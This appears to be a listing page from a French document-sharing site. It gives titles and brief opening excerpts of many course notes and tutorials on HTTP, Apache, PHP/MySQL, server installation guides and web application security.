Dans l'épisode précédent Dans l'épisode précédent 2 Le réseau SERVEURS POSTE CLIENT POSTE CLIENT wifi SERVEURS POSTE CLIENT switch Borne Wifi SERVEURS routeur POSTE CLIENT? SERVEURS SERVEURS SERVEURS POSTE CLIENT SERVEURS 3 Les

Plus en détail

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009 HTTP Technologies du Web Programmation Web côté serveur Pierre Senellart (pierre.senellart@telecom-paristech.fr) Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009 P. Senellart (TELECOM

Plus en détail

GUIDE D INSTALLATION DE L APPLICATION GECOL SUR

GUIDE D INSTALLATION DE L APPLICATION GECOL SUR GUIDE D INSTALLATION DE L APPLICATION GECOL SUR SERVEUR WINDOWS INTRODUCTION Le guide d installation qui va suivre va tenter d amener de la simplicité et de centraliser toutes les informations nécessaires

Plus en détail

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS FOURNIER VINCENT 29/04/2015 1.2 Ce tutoriel est réalisé sous debian 7.7 avec une synchronisation

Plus en détail

Protection des protocoles www.ofppt.info

Protection des protocoles www.ofppt.info ROYAUME DU MAROC Office de la Formation Professionnelle et de la Promotion du Travail Protection des protocoles DIRECTION RECHERCHE ET INGENIERIE DE FORMATION SECTEUR NTIC Sommaire 1. Introduction... 2

Plus en détail

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 -

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 - CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 - SOMMAIRE - 2 - Sommaire Présentation du projet Contexte Description du projet web Les Enjeux du projet web Analyse Concurrentiel

Plus en détail

CREATION WEB DYNAMIQUE

CREATION WEB DYNAMIQUE CREATION WEB DYNAMIQUE IV ) MySQL IV-1 ) Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requêtes vers les bases de données relationnelles. Le serveur de

Plus en détail

Procédure d'installation

Procédure d'installation 07/11/2014 BTS SIO SISR 2ème année BRY Quentin Procédure d'installation Tableau d évolution Version Date Description Rédacteur Approbateur 0.0 25/01/2014 Ecriture du document Thierry MARTINS 1.0 06/11/2014

Plus en détail

Vulnérabilités et solutions de sécurisation des applications Web

Vulnérabilités et solutions de sécurisation des applications Web Vulnérabilités et solutions de sécurisation des applications Web Patrick CHAMBET EdelWeb ON-X Consulting patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Eric Larcher RSSI Accor

Plus en détail

PHP 5. La base de données MySql. A. Belaïd 1

PHP 5. La base de données MySql. A. Belaïd 1 PHP 5 La base de données MySql A. Belaïd 1 Base de données C est quoi une base de données? Une base de données contient une ou plusieurs tables, chaque table ayant un ou plusieurs enregistrements Exemple

Plus en détail

Attaques de type. Brandon Petty

Attaques de type. Brandon Petty Attaques de type injection HTML Brandon Petty Article publié dans le numéro 1/2004 du magazine Hakin9 Tous droits reservés. La copie et la diffusion de l'article sont admises à condition de garder sa forme

Plus en détail

Résoudre les problèmes PHP, les meilleures (et les pires) techniques

Résoudre les problèmes PHP, les meilleures (et les pires) techniques Résoudre les problèmes PHP, les meilleures (et les pires) techniques Xavier Gorse Architecte - Expert PHP (ELAO) xavier.gorse@elao.com Un peu d ordre dans la maison! Toutes les lignes téléphoniques sont

Plus en détail

L envoi d un formulaire par courriel. Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248

L envoi d un formulaire par courriel. Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248 L envoi d un formulaire par courriel Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248 Chapitre 9 L envoi d un formulaire par courriel L envoi par courriel d informations

Plus en détail

Découverte d aesecure. Par Christophe Avonture, développeur d aesecure

Découverte d aesecure. Par Christophe Avonture, développeur d aesecure Découverte d aesecure Par Christophe Avonture, développeur d aesecure Qui suis-je? Développeur d aesecure, suite de protection et d optimisation de sites web Apache Ancien développeur d AllEvents; gestionnaire

Plus en détail

Mysql avec EasyPhp. 1 er mars 2006

Mysql avec EasyPhp. 1 er mars 2006 Mysql avec EasyPhp 1 er mars 2006 Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requètes vers les bases de données relationnelles. Il en reprend la syntaxe

Plus en détail

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons <ads@intrinsec.com> Jérémie Jourdin <jjn@intrinsec.com>

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons <ads@intrinsec.com> Jérémie Jourdin <jjn@intrinsec.com> Arnaud Desmons Jérémie Jourdin Présentation Motivations Historique Démonstration Présentation fonctionnelle Présentation technique L'interface d'administration Roadmap

Plus en détail

Déploiement d OCS 1.02 RC2 sous Debian Etch 64

Déploiement d OCS 1.02 RC2 sous Debian Etch 64 Déploiement d OCS 1.02 RC2 sous Debian Etch 64 Par Big_orneau Note : Utilisation ici d OCS sur un domu Xen. Les commandes sont en italiques. - Avant toute chose vérifier absolument : La date sur le serveur

Plus en détail

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Sommaire : Contenu I. Introduction:... 2 II. Présentation de l atelier :... 2 1) Attaque persistante :... 3 2) Attaque non persistante :...

Plus en détail

Sécuriser les applications web

Sécuriser les applications web SÉCURITÉ RÉSEAUX TONY FACHAUX Degré de difficulté Sécuriser les applications web L'article présente d'une manière générale les moyens techniques à mettre en œuvre pour sécuriser les applications web d'une

Plus en détail

Installation GLPI-OCSNG-SSL Linux Debian Sarge

Installation GLPI-OCSNG-SSL Linux Debian Sarge Installation GLPI-OCSNG-SSL Linux Debian Sarge Installation de Glpi (0.68.2), OCS NG RC3 et hébergement des deux sites sous apache2, sur la même machine, en SSL avec un seul certificat, sur debian sarge.

Plus en détail

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15 www.razafimamonjy.fr

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15 www.razafimamonjy.fr SERVEUR WEB LINUX LAMP 1 Le Serveur APACHE Définition d un serveur web : - Un serveur http ou démon http ou HTTPd (HTTP daemon) ou (moins précisément) serveur web, est un logiciel servant des requêtes

Plus en détail

Sécurité des applications web. Daniel Boteanu

Sécurité des applications web. Daniel Boteanu I F8420: Éléments de Sécurité des applications web Daniel Boteanu Architecture des applications web Client légitime Internet HTTP 浀 HTML Server Web 2 Architecture des applications web Client légitime Internet

Plus en détail

Protocoles Applicatifs

Protocoles Applicatifs Programmation Réseau Protocoles Applicatifs Jean-Baptiste.Yunes@liafa.jussieu.fr UFR Informatique 2011-2012 Protocoles Protocoles applicatifs on appelle protocole applicatif ou protocole d application

Plus en détail

Logiciel : GLPI Version : 0.72.4 SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003.

Logiciel : GLPI Version : 0.72.4 SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003. Ce document est libre de droit, merci simplement de respecter son auteur. Toutes remarques ou commentaires seront les bienvenues. ATTENTION : La mise à jour par script entre GLPI et Active Directory ne

Plus en détail

TP Service HTTP Serveur Apache Linux Debian

TP Service HTTP Serveur Apache Linux Debian Compte rendu de Raphaël Boublil TP Service HTTP Serveur Apache Linux Debian Tout au long du tp, nous redémarrons le service apache constamment pour que les fi de configuration se remettent à jour - /etc/init.d/apache2

Plus en détail

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN - @salemioche

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN - @salemioche Gestion centralisée d un réseau de sites discrets Nicolas JEAN - @salemioche SEO / Technique,utilisation SEO Technique / Utilisation Intérêt du réseau Centralisé Discrétion Simplicité d utilisation Caractéristique

Plus en détail

WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY

WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY version 1.00 Objectifs Cette fiche pratique permet d atteindre deux objectifs distincts et potentiellement complémentaires. Configuration d Apache en

Plus en détail

Préparation d un serveur Apache pour Zend Framework

Préparation d un serveur Apache pour Zend Framework Préparation d un serveur Apache pour Zend Framework Jacques THOORENS 30 novembre 2010 Résumé Cette petite introduction explique comment paramétrer son serveur Apache personnel pour en faire une machine

Plus en détail

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Au cours de ce TP, vous allez voir comment PHP permet aux utilisateurs, une interaction avec

Plus en détail

Keyyo Guide de mise en service CTI / API / TAPI Keyyo

Keyyo Guide de mise en service CTI / API / TAPI Keyyo Keyyo Guide de mise en service CTI / API / TAPI Keyyo Keyyo Opération & Support http://www.keyyo.fr/fr/support/expert.php Version 1.0.7 Sommaire 1 Portée du document... 3 2 Introduction à la configuration...

Plus en détail

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique N. Clément, F. Dal, X. Jeannin, M.T. Nguyen CNRS/UREC http://www.urec.cnrs.fr

Plus en détail

«Cachez-moi cette page!»

«Cachez-moi cette page!» «Cachez-moi cette page!» Atelier Pratique 1h30 Hugo Hamon (@hhamon) http://hugohamon.com Qui suis-je? Au menu de cet atelier 1. Introduction 2. Avantages 3. Expiration (Expires & Cache-Control) 4. Validation

Plus en détail

TP HTTP. Université Pierre Mendès France U.F.R. Sciences de l Homme et de la Société Master IC²A

TP HTTP. Université Pierre Mendès France U.F.R. Sciences de l Homme et de la Société Master IC²A Université Pierre Mendès France U.F.R. Sciences de l Homme et de la Société Master IC²A TP HTTP TP HTTP Master IC 2 A 2014/2015 Christian Bulfone / Jean-Michel Adam 1/11 Câblage et configuration du réseau

Plus en détail

TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012

TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 FORMULAIRE DE CONTACT POUR PORTFOLIO PRINCIPE GENERAL Nous souhaitons réaliser un formulaire de contact comprenant les champs suivants : NOM PRENOM ADRESSE MAIL MESSAGE

Plus en détail

WebSSO, synchronisation et contrôle des accès via LDAP

WebSSO, synchronisation et contrôle des accès via LDAP 31 mars, 1er et 2 avril 2009 WebSSO, synchronisation et contrôle des accès via LDAP Clément Oudot Thomas Chemineau Sommaire général Synchronisation d'identités WebSSO et contrôle des accès Démonstration

Plus en détail

Présentation de la solution Open Source «Vulture» Version 2.0

Présentation de la solution Open Source «Vulture» Version 2.0 Présentation de la solution Open Source «Vulture» Version 2.0 Advens IST Day 15 septembre 2011 http://www.vultureproject.org 1 s/apache/mod_perl/ LE PROJET VULTURE Advens IST Day 15 septembre 2011 http://www.vultureproject.org

Plus en détail

INF8007 Langages de script

INF8007 Langages de script INF8007 Langages de script Sockets et serveur 1/18 INF8007 Langages de script Sockets et serveur Michel Desmarais Génie informatique et génie logiciel École Polytechnique de Montréal Hiver, 2014 INF8007

Plus en détail

Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework

Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework L'objectif de ce document est de poser des bases de réflexion sur la modélisation d'un projet réalisé

Plus en détail

RFC 7230 : Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing

RFC 7230 : Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing RFC 7230 : Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing Stéphane Bortzmeyer Première rédaction de cet article le 14 juin 2014 Date de publication du

Plus en détail

SYSTÈMES D INFORMATIONS

SYSTÈMES D INFORMATIONS SYSTÈMES D INFORMATIONS Développement Modx Les systèmes de gestion de contenu Les Content Management Système (CMS) servent à simplifier le développement de sites web ainsi que la mise à jour des contenus.

Plus en détail

UE5A Administration Réseaux LP SIRI

UE5A Administration Réseaux LP SIRI UE5A Administration Réseaux LP SIRI José Dordoigne Architecte infrastructure v1.0 2012-2013 Objectif de la formation -Fournir les éléments clés pour : -Comprendre les principaux services réseaux déployés

Plus en détail

La sécurité et Joomla!

La sécurité et Joomla! La sécurité et Joomla! Comment sécuriser son site? v1.2 10/09/2013 1 Qui suis-je? Développeur de l extension AllEvents; gestionnaire d évènements pour Joomla! Modérateur Joomla!France Membre fondateur

Plus en détail

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet Expérience d un hébergeur public dans la sécurisation des sites Web, CCK Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet Plan Introduction Sécurisation des sites Web hébergés a Conclusion Introduction

Plus en détail

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria 1 Philippe Lecler TutoJRES «Sécurité des sites WEB» 4 février 2010 Contexte 2 PCI-DSS : Payment Card Industry Data Security

Plus en détail

Aide à la Détection de Faiblesses d un site Web Mandataire inverse, Modsecurity

Aide à la Détection de Faiblesses d un site Web Mandataire inverse, Modsecurity Aide à la Détection de Faiblesses d un site Web, S. Aicardi Journées Mathrice, Angers, 17-19 Mars 2009 Serveur mandataire (Proxy) C est un serveur utilisé comme intermédiaire entre des clients et des serveurs.

Plus en détail

Les serveurs WEBUne introduction

Les serveurs WEBUne introduction Les serveurs WEB Une introduction Claude Duvallet Université du Havre UFR Sciences et Techniques 25 rue Philippe Lebon - BP 540 76058 LE HAVRE CEDEX Claude.Duvallet@gmail.com Claude Duvallet 1/22 Comparaison

Plus en détail

Mysql. Les requêtes préparées Prepared statements

Mysql. Les requêtes préparées Prepared statements Mysql Les requêtes préparées Prepared statements Introduction Les prepared statements côté serveur sont une des nouvelles fonctionnalités les plus intéressantes de MySQL 4.1 (récemment sorti en production

Plus en détail

REPARTITION DE CHARGE LINUX

REPARTITION DE CHARGE LINUX REPARTITION DE CHARGE LINUX I. SOMMAIRE II. Introduction... 2 1. Principe cluster... 2 III. Contexte... 2 2. Objectifs... 2 3. Topologie logique et physique finale... 3 IV. Préparation des postes... 4

Plus en détail

Langage SQL (1) 4 septembre 2007. IUT Orléans. Introduction Le langage SQL : données Le langage SQL : requêtes

Langage SQL (1) 4 septembre 2007. IUT Orléans. Introduction Le langage SQL : données Le langage SQL : requêtes Langage SQL (1) Sébastien Limet Denys Duchier IUT Orléans 4 septembre 2007 Notions de base qu est-ce qu une base de données? SGBD différents type de bases de données quelques systèmes existants Définition

Plus en détail

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage Technologies du Web Créer et héberger un site Web Page 1 / 26 Plan Planification Choisir une solution d hébergement Administration Développement du site Page 2 / 26 Cahier des charges Objectifs du site

Plus en détail

L installation a quelque peu changée depuis les derniers tutos, voici une actualisation.

L installation a quelque peu changée depuis les derniers tutos, voici une actualisation. Gestion de parc Informatique OCS, GLPI sur Debian 5 Jonathan Gautier Open Computer and Software Inventory Next Generation (OCS inventory NG) est une application permettant de réaliser un inventaire sur

Plus en détail

1 Position du problème

1 Position du problème Licence Science et Technologies - INF245 Examen session 1 - mai 2012 Durée : 2 heures Documents non autorisés Le barème est donné à titre indicatif 1 Position du problème Le Club Universitaire de Vélo

Plus en détail

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau) CS WEB Ch 1 Introduction I. INTRODUCTION... 1 A. INTERNET INTERCONNEXION DE RESEAUX... 1 B. LE «WEB» LA TOILE, INTERCONNEXION DE SITES WEB... 2 C. L URL : LOCALISER DES RESSOURCES SUR L INTERNET... 2 D.

Plus en détail

LAMP : une nouvelle infrastructure LAMP. Une architecture modulaire. Installation

LAMP : une nouvelle infrastructure LAMP. Une architecture modulaire. Installation LAMP : une nouvelle infrastructure LAMP 1. Les composantes Linux Apache MySQL Php : fortement lié à Apache (module) 2. Les variantes Pour Windows : EasyPHP, XAMP... Serveurs web : lighttpd... BdD SQL :

Plus en détail

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage Outil d administration de parc informatique Documentation d installation et de paramétrage Nicolas BIDET Ouapi.org 29/07/2012 Sommaire Installation de Wampserver... 3 1.1. Téléchargement de WampServer...

Plus en détail

PHP 5.4 Développez un site web dynamique et interactif

PHP 5.4 Développez un site web dynamique et interactif Editions ENI PHP 5.4 Développez un site web dynamique et interactif Collection Ressources Informatiques Table des matières Table des matières 1 Chapitre 1 Introduction 1. Objectif de l'ouvrage.............................................

Plus en détail

APPLICATIONS WEB ET SECURITE

APPLICATIONS WEB ET SECURITE Michel Chabanne Administrateur sécurité Ecole Polytechnique michel.chabanne@polytechnique.edu APPLICATIONS WEB ET SECURITE Une approche de terrain Quelques constats Premiers serveurs visés par les attaques:

Plus en détail

Comment avoir le logiciel? Le serveur web APACHE peut être téléchargé gratuitement du site web de APACHE: http://www.apache.org/.

Comment avoir le logiciel? Le serveur web APACHE peut être téléchargé gratuitement du site web de APACHE: http://www.apache.org/. Installation de base du logiciel APACHE sous Windows Ce chapitre traite l installation du logiciel APACHE à utiliser avec ABCD sous l environment Windows. Au moins Windows NT, Windows 2000 ou les versions

Plus en détail

Aide à la Détection de Faiblesse d'un site web

Aide à la Détection de Faiblesse d'un site web Aide à la Détection de Faiblesse d'un site web Journée RAISIN 15/10/2009 Restitution de la formation ADF dispensée par l'urec Fabrice.Mendes@dr15.cnrs.fr Développeur d'application web 1 ADF : plan Introduction

Plus en détail

Installation d un hébergement Web à domicile

Installation d un hébergement Web à domicile Installation d un hébergement Web à domicile Wampserver Par Sébastien ZAMBON Version 1.0 11.07.2015 Table des matières Introduction... 3 Configuration du PC... 3 Configuration d une adresse IP statique...

Plus en détail

Le serveur web Apache

Le serveur web Apache Le serveur web Apache Emmanuel Courcelle Lipm CNRS INRA Auzeville Emmanuel Courcelle Apache au Lipm Applications avec interface Web Applications bioinformatiques Wikis, CMS,... Serveur Web = apache sur

Plus en détail

CASE-LINUX MAIL - ROUNDCUBE

CASE-LINUX MAIL - ROUNDCUBE 1 CASE-LINUX MAIL - ROUNDCUBE Introduction Roundcube est un MUA de type webmail. C'est un client IMAP multilingue avec une interface graphique simple et bien organisée. Celle-ci est personnalisable (via

Plus en détail

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10 Dossier Technique Page 1/10 Sommaire : 1. REPONSE TECHNIQUE A LA DEMANDE 3 1.1. Prise en compte de la dernière version de phpcas 3 1.2. Gestion de la connexion à GRR 3 1.2.1. Récupération des attributs

Plus en détail

Command Execution:... 10. File Inclusion :... 21. SQL injection :... 10

Command Execution:... 10. File Inclusion :... 21. SQL injection :... 10 Web App Security CHEF ATELIER: BEN MARZOUK HAMZA(RT3) BOUJBEL AMEL(RT4) KHALIFI MAJDI(ISI) TOURJMEN HELA(RT3) ALIBI GHAZI(ISET) BEL HAJ HASSINE SOUHA(RT3) TRABELSI OUSSAMA(MPI) Table des matières 1. Présentation

Plus en détail

Les bonnes pratiques. de l hébergement d un CMS

Les bonnes pratiques. de l hébergement d un CMS Les bonnes pratiques de l hébergement d un CMS Welcome Sébastien Lucas @PoMM3 Responsable avant-vente Designer d infra Nicolas Silberman @nsilberman Directeur Technique Médiapart Oxalide & les CMS le vôtre

Plus en détail

Mandataires, caches et filtres

Mandataires, caches et filtres Mandataires, caches et filtres Pascal AUBRY IFSIC - Université de Rennes 1 Pascal.Aubry@univ-rennes1.fr Plan : mandataires caches filtrage serveur de proxy exemple de mise en œuvre Mandataire (proxy) Mandataire

Plus en détail

Développement des Systèmes d Information

Développement des Systèmes d Information Développement des Systèmes d Information Axe ISI Camille Persson Institut Fayol / LSTI / ISCOD École Nationale Supérieure des Mines de Saint-Etienne 158 cours Fauriel, 42000 Saint-Etienne persson@emse.fr

Plus en détail

INSTALLATION NG V2.1 D OCS INVENTORY. Procédure d utilisation. Auteur : GALLEGO Cédric 23/10/2014 N version : v1

INSTALLATION NG V2.1 D OCS INVENTORY. Procédure d utilisation. Auteur : GALLEGO Cédric 23/10/2014 N version : v1 INSTALLATION D OCS INVENTORY NG V2.1 Procédure d utilisation Installation d OCS Inventory NG (Open Computer and Software Inventory) sur un serveur Linux N version : v1 Installation d OCS Inventory NG v2.1

Plus en détail

Performance web. Mesurer. Analyser. Optimiser. Benjamin Lampérier - Benoît Goyheneche. RMLL 2015 - Beauvais. 8 Juillet 2015

Performance web. Mesurer. Analyser. Optimiser. Benjamin Lampérier - Benoît Goyheneche. RMLL 2015 - Beauvais. 8 Juillet 2015 Benjamin Lampérier - Benoît Goyheneche RMLL 2015 - Beauvais 8 Juillet 2015 1 2 3 État des lieux On ne change rien On optimise intelligemment Avant de commencer Mettre les chaines de caractères entre simple

Plus en détail

Plan Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO2 2006-2007 S2-IO2 Bases de données: Jointures, Transactions

Plan Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO2 2006-2007 S2-IO2 Bases de données: Jointures, Transactions Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO2 2006-2007 S2-IO2 Bases de données: Jointures, Cours Internet et Outils: [1/12] Intro, Internet, Web, XHTML (2H) [2/12] XHTML(2H) [3/12]

Plus en détail

Installation de Zabbix

Installation de Zabbix 1 Installation de Zabbix Présentation Zabbix (http://www.zabbix.com) est une solution de supervision open source. Ce logiciel permet de superviser des réseaux, et de surveiller les statuts de différents

Plus en détail

Par l'exemple de. Laurent Destailleur

Par l'exemple de. Laurent Destailleur Bonnes pratiques Par l'exemple de Laurent Destailleur Objectifs et plan de la présentation Présenter les pratiques PHP et règles de l'art du développement PHP, avec retour d'expérience Principe de la présentation

Plus en détail

PHP. Bertrand Estellon. 26 avril 2012. Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214

PHP. Bertrand Estellon. 26 avril 2012. Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214 PHP Bertrand Estellon Aix-Marseille Université 26 avril 2012 Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214 SQLite et PDO Base de données SQLite et PDO SQLite écrit les données relatives à la base dans

Plus en détail